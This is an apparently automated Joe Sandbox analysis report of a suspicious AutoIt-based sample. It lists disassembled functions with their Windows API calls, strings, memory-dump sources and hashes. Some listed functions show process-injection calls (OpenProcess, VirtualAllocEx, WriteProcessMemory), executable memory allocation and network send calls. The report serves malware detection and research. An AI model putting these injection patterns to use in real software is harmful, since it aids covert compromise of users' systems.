Function 00F2025D Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00F202F4,?,?,00000000), ref: 00F20275

Part of subcall function 00F1FFD5: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00F1FFF3

GetThreadLocale.KERNEL32(00000000,00000004,00000000,00F202F4,?,?,00000000), ref: 00F202A5
EnumCalendarInfoA.KERNEL32(Function_000091A9,00000000,00000000,00000004), ref: 00F202B0
GetThreadLocale.KERNEL32(00000000,00000003,00000000,00F202F4,?,?,00000000), ref: 00F202CE
EnumCalendarInfoA.KERNEL32(Function_000091E5,00000000,00000000,00000003), ref: 00F202D9

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: cb84d8981f4cc78596ae3c6b5d5c0f2ea04343cf8563bdb56074c316fa1d9679
Instruction ID: ffc8235543e46fa8132af3e3a1cabee44230c8c69bf49f1ded8bb58c1c5e6597
Opcode Fuzzy Hash: cb84d8981f4cc78596ae3c6b5d5c0f2ea04343cf8563bdb56074c316fa1d9679
Instruction Fuzzy Hash: 8A01263A240628ABE711F6B1AC13FDE319CDB46720F600171F910D66C2DD6CDE4071A1

Function 00898CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00898CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00898CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00898CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00898CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00898D14

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 88e10cc2be910180166df21fe5de4d72ab83c33034074cc364158812f718da58
Instruction ID: 9e1ddfd9a6da23590768b42efd06c869c0db44f76510cb03620a6cbde240c090
Opcode Fuzzy Hash: 88e10cc2be910180166df21fe5de4d72ab83c33034074cc364158812f718da58
Instruction Fuzzy Hash: 24F08730202209BFEF101FA49C88F6B3BACFF8A754F54422AF904C2190CA60AC00DB60

Function 0084E3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00860FE6: std::exception::exception.LIBCMT ref: 0086101C
Part of subcall function 00860FE6: __CxxThrowException@8.LIBCMT ref: 00861031

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

Part of subcall function 00851680: _memmove.LIBCMT ref: 008516DB

__swprintf.LIBCMT ref: 0084E598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0084E431

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 10fcb61662e07bde0217603afd5296a2c9df3d95790eb548abc43aece5b7c756
Instruction ID: 4a9eb5883009b3c9e483402189c77634ceb36ba13d95444063a631b588a4a64d
Opcode Fuzzy Hash: 10fcb61662e07bde0217603afd5296a2c9df3d95790eb548abc43aece5b7c756
Instruction Fuzzy Hash: 6C917D715087059FCB14FF28C899D6EB7A4FF95704F41491DF886D72A2EA20EE48CB92

Function 00860654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00860690
#, xrefs: 00860699

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: a219c83b453d80ab2173bf46ba0a0b57cd309a21ffae5833dea905f09ebda434
Instruction ID: dc09bd9cacd8180d0720c1e19e93db141646a3d342b3bb76dd9129fc6ffd2837
Opcode Fuzzy Hash: a219c83b453d80ab2173bf46ba0a0b57cd309a21ffae5833dea905f09ebda434
Instruction Fuzzy Hash: C851007550024ADFDF15EF68C884AFA7BA4FF56314F180065EC92EB290E731AD62CB61

Function 03B6B958 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03B6BB22,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03B6B987

Part of subcall function 03B6B620: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03B6B63E

Strings

yyyy, xrefs: 03B6BA79
eeee, xrefs: 03B6BA92
ggg, xrefs: 03B6BA6C

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 71d4a3ceb61e5c73ba55d1f6341e366fdaccbbfb0800dfcc04177cf760da7d25
Instruction ID: 9acde41ebe1f8707b6110b088bfef3edfb3b3e8f94cd1a862d77400842469135
Opcode Fuzzy Hash: 71d4a3ceb61e5c73ba55d1f6341e366fdaccbbfb0800dfcc04177cf760da7d25
Instruction Fuzzy Hash: F941F23A7006495BC711EAAB88906BEF7BAEB8510CF5805F5D491CB35BDA7CE9028621

Function 00F2030D Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00F204D7,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00F2033C

Part of subcall function 00F1FFD5: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00F1FFF3

Strings

ggg, xrefs: 00F20421
eeee, xrefs: 00F20447
yyyy, xrefs: 00F2042E

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: c95690359ef0860857d0081e81a22f141d055a050c0403454f846e6b8161369d
Instruction ID: 84df041cf69504b95837a5c6f6a60029836d86be7e991bfe0ad2c67c470945d8
Opcode Fuzzy Hash: c95690359ef0860857d0081e81a22f141d055a050c0403454f846e6b8161369d
Instruction Fuzzy Hash: 624158337001255BD711FA68EC927FEB3AADB84310B248035E591D7347DE2CED46B626

Function 0089A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008A1CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00899E4E,?,?,00000034,00000800,?,00000034), ref: 008A1CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0089A3F7

Part of subcall function 008A1C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00899E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 008A1CB0

Part of subcall function 008A1BDD: GetWindowThreadProcessId.USER32(?,?), ref: 008A1C08
Part of subcall function 008A1BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00899E12,00000034,?,?,00001004,00000000,00000000), ref: 008A1C18
Part of subcall function 008A1BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00899E12,00000034,?,?,00001004,00000000,00000000), ref: 008A1C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0089A464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0089A4B1

Strings

@, xrefs: 0089A4C9

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 5143dfa827bfe27c75c3a40a5e8a2780b99ecd54877b718c63500cad75be3a4e
Instruction ID: cf8824ef13ec80257c84ee41f1978541267d2626b8f58ab52cbcfdbbba23d571
Opcode Fuzzy Hash: 5143dfa827bfe27c75c3a40a5e8a2780b99ecd54877b718c63500cad75be3a4e
Instruction Fuzzy Hash: EF416B7290121CAFDF10DBA8CD85AEEBBB8FB45310F044095FA45B7181DA706E85CBA2

Function 008C81B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 008C826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 008C827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 008C8284

Strings

msctls_updown32, xrefs: 008C81E9

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 08957b9078625f85a70fd15da7bca0e5a25fa0d1e86c68c9dd6d99ddf75eddab
Instruction ID: 1cdd2600f269623583e58a9c0093704d92fc82648e6a4d785f7ebf618dfa9ff6
Opcode Fuzzy Hash: 08957b9078625f85a70fd15da7bca0e5a25fa0d1e86c68c9dd6d99ddf75eddab
Instruction Fuzzy Hash: 30216BB1A04208AFDB10DF58DC85E6777EDFB5A3A4B084159FA01DB291CB70EC11DAA0

Function 03BB1A4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000), ref: 03BB1A58
PrintWindow.USER32(00000000,00000000,00000000), ref: 03BB1B1B

Part of subcall function 03B954F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020119), ref: 03B95520
Part of subcall function 03B954F8: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000004,00000004,80000001,00000000,00000000,00020119), ref: 03B95547
Part of subcall function 03B954F8: RegCloseKey.ADVAPI32(00000000,80000001,00000000,00000000,00020119), ref: 03B9555F

Strings

Control Panel\Desktop\WindowMetrics, xrefs: 03BB1A89
AppliedDPI, xrefs: 03BB1A84

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Window$CloseOpenPrintQueryRectValue
String ID: AppliedDPI$Control Panel\Desktop\WindowMetrics
API String ID: 4074139357-3919141887
Opcode ID: 24530b635a4af1a83d75660c256f4a5ff4eabfc76bd7b12d727312dc121d99a2
Instruction ID: e6472b22396c38520543198af392efe79e1c2794913b6ff996b6e835197527c0
Opcode Fuzzy Hash: 24530b635a4af1a83d75660c256f4a5ff4eabfc76bd7b12d727312dc121d99a2
Instruction Fuzzy Hash: 3F211634300200DFD310FF69D964A5ABBA6FF9A309F1481A5E8198F765DB71EC46CB91

Function 03B7C1B4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03B921B8: GetFileAttributesA.KERNEL32(00000000,?,?,?,?,03B7AD04,00000000,03B7B1B3,?,?,00000000,00000000), ref: 03B921FA

CoTaskMemAlloc.COMBASE(00000208), ref: 03B7C1F0
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000005,00000000,00000000,03B7C237,?,00000208,00000000,03B7C26C), ref: 03B7C210
CoTaskMemFree.COMBASE(?), ref: 03B7C231

Strings

USERPROFILE, xrefs: 03B7C1D3

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Task$AllocAttributesFileFolderFreePathSpecial
String ID: USERPROFILE
API String ID: 3197149909-2419442777
Opcode ID: 22b1b39fe07c9fac26ed50611b01b825de1c18fbdc26081422c9863e2ce6b810
Instruction ID: c4997c0db0f987e9da3613c6b990f46c30b82cc2e4643a14639f9527c7685c4b
Opcode Fuzzy Hash: 22b1b39fe07c9fac26ed50611b01b825de1c18fbdc26081422c9863e2ce6b810
Instruction Fuzzy Hash: 98115139E04708BFDB10EFA4C85199DBBF4EB8A704F6144F5E920AB661D6745E019A50

Function 03B7C7EC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62networksleepCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,00000000), ref: 03B7C825
WSAGetLastError.WS2_32 ref: 03B7C841
Sleep.KERNEL32(00000001), ref: 03B7C860

Strings

3', xrefs: 03B7C855

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ErrorLastSleepsend
String ID: 3'
API String ID: 4076785223-280543908
Opcode ID: b85a57e60fa0321cfb8a47d9d627679a451c6841e55ab339d631720ac090baee
Instruction ID: b0ddc9fe4e2e314eb7bdc229d4d58db8180309d5d1191f7ce7facbf5f7d1a198
Opcode Fuzzy Hash: b85a57e60fa0321cfb8a47d9d627679a451c6841e55ab339d631720ac090baee
Instruction Fuzzy Hash: 25111D746083029FC710DE68D88062ABBE4FBC4768F148ABDF0F997290C374D9458BA3

Function 00880251 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00880091

Part of subcall function 008BC6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,0088027A,?), ref: 008BC6E7
Part of subcall function 008BC6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 008BC6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00880289

Strings

0k, xrefs: 00880251
WIN_XPe, xrefs: 008800A4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: 0k$WIN_XPe
API String ID: 582185067-28208594
Opcode ID: 565f2938a18ce226a70c4c0f790c263726e6b55c52d1ebb95956f926055f80f4
Instruction ID: 04588763b2c1203631aa35b16f6b50588fa175b191725ffd3ea0df40fb862472
Opcode Fuzzy Hash: 565f2938a18ce226a70c4c0f790c263726e6b55c52d1ebb95956f926055f80f4
Instruction Fuzzy Hash: F0F03971909109DFCB65EBA0C988BECBBB8FB08304F240085E146E21A0CB704F88DF21

Function 00854BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00854AF7,?), ref: 00854BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00854BCA

Strings

kernel32.dll, xrefs: 00854BB3
Wow64RevertWow64FsRedirection, xrefs: 00854BC4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: aab3f6fa6ab8b23d6259de8c82654edf0469c5ac4c6b648a0fea49b74d956b6e
Instruction ID: 580bb24775d418a7569c974f72545319b2f4de21687d79ea672c834432ea2e05
Opcode Fuzzy Hash: aab3f6fa6ab8b23d6259de8c82654edf0469c5ac4c6b648a0fea49b74d956b6e
Instruction Fuzzy Hash: C0D017705147139FEB209FB1EC08B4A77E5FF04366F11AEAAD8A6D2654EB74D8C0CA11

Function 00854B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00854B44,?,008549D4,?,?,008527AF,?,00000001), ref: 00854B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00854B97

Strings

kernel32.dll, xrefs: 00854B80
Wow64DisableWow64FsRedirection, xrefs: 00854B91

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: f6dbe59d00f41c8afdcf76b3006621304f57e6585d8183d9858456629c6acb04
Instruction ID: 7ca04968e8777cf9a7a151f203822985404aa457f2d853ebc1dd99eed23121d0
Opcode Fuzzy Hash: f6dbe59d00f41c8afdcf76b3006621304f57e6585d8183d9858456629c6acb04
Instruction Fuzzy Hash: 2ED012705147129FD7205FB2EC1870677D4FF04355F11992AD895D2650D7B4D4C0CA11

Function 03B6D344 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,03B6DCCD,00000000,03B6DCE0), ref: 03B6D34A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 03B6D35B

Strings

kernel32.dll, xrefs: 03B6D345
GetDiskFreeSpaceExA, xrefs: 03B6D355

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 5c5c62e8b514e645657633522eef06f5ec440d19b61d9f3475c94a1cfb21ebc0
Instruction ID: 7a62a0819430c772ee9ce66d7ac261e2be331309b29ad8b4e012a218c66aab91
Opcode Fuzzy Hash: 5c5c62e8b514e645657633522eef06f5ec440d19b61d9f3475c94a1cfb21ebc0
Instruction Fuzzy Hash: CFD0C9A1743745AED700FAA0AEC472E66A8D78914CF4428FDA450BB667EFFC85014750

Function 00F21781 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00F21C92,00000000,00F21CA5), ref: 00F21787
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 00F21798

Strings

GetDiskFreeSpaceExA, xrefs: 00F21792
kernel32.dll, xrefs: 00F21782

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 9021ff3128eeed8d7a86a5dd64c4e22814ad8aeec761ed17e95c3a2e32710995
Instruction ID: 39d687487e0629f4c7ba2285679866a59a2d878929fdfac0429372a82268d0e0
Opcode Fuzzy Hash: 9021ff3128eeed8d7a86a5dd64c4e22814ad8aeec761ed17e95c3a2e32710995
Instruction Fuzzy Hash: 33D0A7F8A403269EF321FFF1BCE1E0331D8A360320F1004B665004F211D77889507604

Function 008BE713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 008BE7A7
CharLowerBuffW.USER32(?,?), ref: 008BE7EA

Part of subcall function 008BDE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 008BDEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 008BE9EA
_memmove.LIBCMT ref: 008BE9FD

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 58692a509575d87664fa899d18d64d97bf4b4f3770741cb0f655b71a2e0b08c2
Instruction ID: bd30c0c85d54ab8ff2829124e2171e2c302433b80bac4b96fb5772271551e024
Opcode Fuzzy Hash: 58692a509575d87664fa899d18d64d97bf4b4f3770741cb0f655b71a2e0b08c2
Instruction Fuzzy Hash: 2FC12771A083119FC714DF28C480AAABBE4FF89714F14896EF999DB351D731E949CB82

Function 008B877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 008B87AD
CoUninitialize.OLE32 ref: 008B87B8

Part of subcall function 008CDF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,008B8A0E,?,00000000), ref: 008CDF71

VariantInit.OLEAUT32(?), ref: 008B87C3
VariantClear.OLEAUT32(?), ref: 008B8A94

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 3f77254b86c0b38cbd763b94d341b62996f909626524df0657d7372d5d227c62
Instruction ID: f5a629c74e0fdfc0a6cf7dc37536bdf8f76d96b23a1cd72a27dd66d87f22d0cd
Opcode Fuzzy Hash: 3f77254b86c0b38cbd763b94d341b62996f909626524df0657d7372d5d227c62
Instruction Fuzzy Hash: 05A11275604A159FDB10EF18C481B6AB7E8FF88354F14895AF995DB3A2CB30ED01CB92

Function 0089814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,008D3C4C,?), ref: 00898308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,008D3C4C,?), ref: 00898320
CLSIDFromProgID.OLE32(?,?,00000000,008D0988,000000FF,?,00000000,00000800,00000000,?,008D3C4C,?), ref: 00898345
_memcmp.LIBCMT ref: 00898366

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
